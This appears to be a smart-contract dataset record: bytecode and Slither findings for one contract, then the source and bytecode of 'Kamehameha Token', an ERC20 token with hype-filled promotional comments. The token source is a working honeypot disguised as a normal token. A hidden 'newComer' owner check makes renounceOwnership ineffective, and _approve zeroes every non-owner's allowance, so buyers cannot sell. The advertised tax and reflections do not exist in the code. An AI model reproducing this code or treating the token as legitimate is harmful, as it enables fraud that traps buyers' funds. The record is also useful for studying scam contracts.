0006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f464c4f4b494855534b5900000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f81565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a646133fe565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990613357565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611e00565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612f81565b60405180910390fd5b600f60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90613001565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906128e6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906128e6565b6040518363ffffffff1660e01b8152600401610df9929190612dd1565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906128e6565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612e23565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612ab6565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506729a2241af62c00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612dfa565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a79190612a5c565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612f81565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612f41565b60405180910390fd5b6111b260646111a483683635c9adc5dea0000061208890919063ffffffff16565b61210390919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111e99190613041565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612fe1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612f01565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190613041565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612fc1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612ec1565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612fa1565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600f60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90613021565b60405180910390fd5b5b5b60105481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600f60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c9190613177565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600f60159054906101000a900460ff16158015611b085750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600f60169054906101000a900460ff165b15611b4857611b2e81611e00565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c078484848461214d565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612e9f565b60405180910390fd5b5060008385611c649190613258565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cd4600a611cc660048661208890919063ffffffff16565b61210390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d63600a611d5560068661208890919063ffffffff16565b61210390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612ee1565b60405180910390fd5b6000611de361217a565b9050611df8818461210390919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e3857611e3761342d565b5b604051908082528060200260200182016040528015611e665781602001602082028036833780820191505090505b5090503081600081518110611e7e57611e7d6133fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f2057600080fd5b505afa158015611f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5891906128e6565b81600181518110611f6c57611f6b6133fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd330600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203795949392919061305c565b600060405180830381600087803b15801561205157600080fd5b505af1158015612065573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561209b57600090506120fd565b600082846120a991906131fe565b90508284826120b891906131cd565b146120f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ef90612f61565b60405180910390fd5b809150505b92915050565b600061214583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121a5565b905092915050565b8061215b5761215a612208565b5b612166848484612239565b8061217457612173612404565b5b50505050565b6000806000612187612416565b9150915061219e818361210390919063ffffffff16565b9250505090565b600080831182906121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e39190612e9f565b60405180910390fd5b50600083856121fb91906131cd565b9050809150509392505050565b600060085414801561221c57506000600954145b1561222657612237565b600060088190555060006009819055505b565b60008060008060008061224b87612478565b9550955095509550955095506122a986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238a81612587565b6123948483612644565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123f19190613041565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea00000905061244c683635c9adc5dea0000060065461210390919063ffffffff16565b82101561246b57600654683635c9adc5dea00000935093505050612474565b81819350935050505b9091565b60008060008060008060008060006124948a600854600c61267e565b92509250925060006124a461217a565b905060008060006124b78e878787612714565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061252183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b60008082846125389190613177565b90508381101561257d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257490612f21565b60405180910390fd5b8091505092915050565b600061259161217a565b905060006125a8828461208890919063ffffffff16565b90506125fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612659826006546124df90919063ffffffff16565b6006819055506126748160075461252990919063ffffffff16565b6007819055505050565b6000806000806126aa606461269c888a61208890919063ffffffff16565b61210390919063ffffffff16565b905060006126d460646126c6888b61208890919063ffffffff16565b61210390919063ffffffff16565b905060006126fd826126ef858c6124df90919063ffffffff16565b6124df90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061272d858961208890919063ffffffff16565b90506000612744868961208890919063ffffffff16565b9050600061275b878961208890919063ffffffff16565b905060006127848261277685876124df90919063ffffffff16565b6124df90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127b06127ab846130f6565b6130d1565b905080838252602082019050828560208602820111156127d3576127d2613461565b5b60005b8581101561280357816127e9888261280d565b8452602084019350602083019250506001810190506127d6565b5050509392505050565b60008135905061281c81613777565b92915050565b60008151905061283181613777565b92915050565b600082601f83011261284c5761284b61345c565b5b813561285c84826020860161279d565b91505092915050565b6000813590506128748161378e565b92915050565b6000815190506128898161378e565b92915050565b60008135905061289e816137a5565b92915050565b6000815190506128b3816137a5565b92915050565b6000602082840312156128cf576128ce61346b565b5b60006128dd8482850161280d565b91505092915050565b6000602082840312156128fc576128fb61346b565b5b600061290a84828501612822565b91505092915050565b6000806040838503121561292a5761292961346b565b5b60006129388582860161280d565b92505060206129498582860161280d565b9150509250929050565b60008060006060848603121561296c5761296b61346b565b5b600061297a8682870161280d565b935050602061298b8682870161280d565b925050604061299c8682870161288f565b9150509250925092565b600080604083850312156129bd576129bc61346b565b5b60006129cb8582860161280d565b92505060206129dc8582860161288f565b9150509250929050565b6000602082840312156129fc576129fb61346b565b5b600082013567ffffffffffffffff811115612a1a57612a19613466565b5b612a2684828501612837565b91505092915050565b600060208284031215612a4557612a4461346b565b5b6000612a5384828501612865565b91505092915050565b600060208284031215612a7257612a7161346b565b5b6000612a808482850161287a565b91505092915050565b600060208284031215612a9f57612a9e61346b565b5b6000612aad8482850161288f565b91505092915050565b600080600060608486031215612acf57612ace61346b565b5b6000612add868287016128a4565b9350506020612aee868287016128a4565b9250506040612aff868287016128a4565b9150509250925092565b6000612b158383612b21565b60208301905092915050565b612b2a8161328c565b82525050565b612b398161328c565b82525050565b6000612b4a82613132565b612b548185613155565b9350612b5f83613122565b8060005b83811015612b90578151612b778882612b09565b9750612b8283613148565b925050600181019050612b63565b5085935050505092915050565b612ba68161329e565b82525050565b612bb5816132e1565b82525050565b6000612bc68261313d565b612bd08185613166565b9350612be08185602086016132f3565b612be981613470565b840191505092915050565b6000612c01602383613166565b9150612c0c82613481565b604082019050919050565b6000612c24602a83613166565b9150612c2f826134d0565b604082019050919050565b6000612c47602283613166565b9150612c528261351f565b604082019050919050565b6000612c6a601b83613166565b9150612c758261356e565b602082019050919050565b6000612c8d601d83613166565b9150612c9882613597565b602082019050919050565b6000612cb0602183613166565b9150612cbb826135c0565b604082019050919050565b6000612cd3602083613166565b9150612cde8261360f565b602082019050919050565b6000612cf6602983613166565b9150612d0182613638565b604082019050919050565b6000612d19602583613166565b9150612d2482613687565b604082019050919050565b6000612d3c602483613166565b9150612d47826136d6565b604082019050919050565b6000612d5f601783613166565b9150612d6a82613725565b602082019050919050565b6000612d82601183613166565b9150612d8d8261374e565b602082019050919050565b612da1816132ca565b82525050565b612db0816132d4565b82525050565b6000602082019050612dcb6000830184612b30565b92915050565b6000604082019050612de66000830185612b30565b612df36020830184612b30565b9392505050565b6000604082019050612e0f6000830185612b30565b612e1c6020830184612d98565b9392505050565b600060c082019050612e386000830189612b30565b612e456020830188612d98565b612e526040830187612bac565b612e5f6060830186612bac565b612e6c6080830185612b30565b612e7960a0830184612d98565b979650505050505050565b6000602082019050612e996000830184612b9d565b92915050565b60006020820190508181036000830152612eb98184612bbb565b905092915050565b60006020820190508181036000830152612eda81612bf4565b9050919050565b60006020820190508181036000830152612efa81612c17565b9050919050565b60006020820190508181036000830152612f1a81612c3a565b9050919050565b60006020820190508181036000830152612f3a81612c5d565b9050919050565b60006020820190508181036000830152612f5a81612c80565b9050919050565b60006020820190508181036000830152612f7a81612ca3565b9050919050565b60006020820190508181036000830152612f9a81612cc6565b9050919050565b60006020820190508181036000830152612fba81612ce9565b9050919050565b60006020820190508181036000830152612fda81612d0c565b9050919050565b60006020820190508181036000830152612ffa81612d2f565b9050919050565b6000602082019050818103600083015261301a81612d52565b9050919050565b6000602082019050818103600083015261303a81612d75565b9050919050565b60006020820190506130566000830184612d98565b92915050565b600060a0820190506130716000830188612d98565b61307e6020830187612bac565b81810360408301526130908186612b3f565b905061309f6060830185612b30565b6130ac6080830184612d98565b9695505050505050565b60006020820190506130cb6000830184612da7565b92915050565b60006130db6130ec565b90506130e78282613326565b919050565b6000604051905090565b600067ffffffffffffffff8211156131115761311061342d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613182826132ca565b915061318d836132ca565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131c2576131c16133a0565b5b828201905092915050565b60006131d8826132ca565b91506131e3836132ca565b9250826131f3576131f26133cf565b5b828204905092915050565b6000613209826132ca565b9150613214836132ca565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561324d5761324c6133a0565b5b828202905092915050565b6000613263826132ca565b915061326e836132ca565b925082821015613281576132806133a0565b5b828203905092915050565b6000613297826132aa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132ec826132ca565b9050919050565b60005b838110156133115780820151818401526020810190506132f6565b83811115613320576000848401525b50505050565b61332f82613470565b810181811067ffffffffffffffff8211171561334e5761334d61342d565b5b80604052505050565b6000613362826132ca565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613395576133946133a0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137808161328c565b811461378b57600080fd5b50565b6137978161329e565b81146137a257600080fd5b50565b6137ae816132ca565b81146137b957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a1833f45a95999bebf6297a31e25df697f0c37f38b4ec3fc2e3978cd164e284b64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,292
0x953afab803b910d50894d80098ec2c646e798b05
/* ✋🏻💥Kamehameha Token🤚🏻 🔥🔥100% stealth Launch 📈 The Kamehameha is the first energy attack shown in the Dragon Ball series. The Kamehameha is the most widely used finishing attack in the Dragon Ball series. ☀️ Tokenomics Supply: 100,000,000 💎Tax: 9% 3% Advertising/Dev Team 3% Reflections 3% Products design 🔁Reflections - Holders receive 📊Website : after launch 🚀 Liq lock🔒: 1week and we will extend after 300k MarketCap Tg: @Kamehamehatokenerc20 */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract Kamehameha is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100* 10**6 * 10**18; string private _name = 'Kamehameha Token '; string private _symbol = 'Kamehameha'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780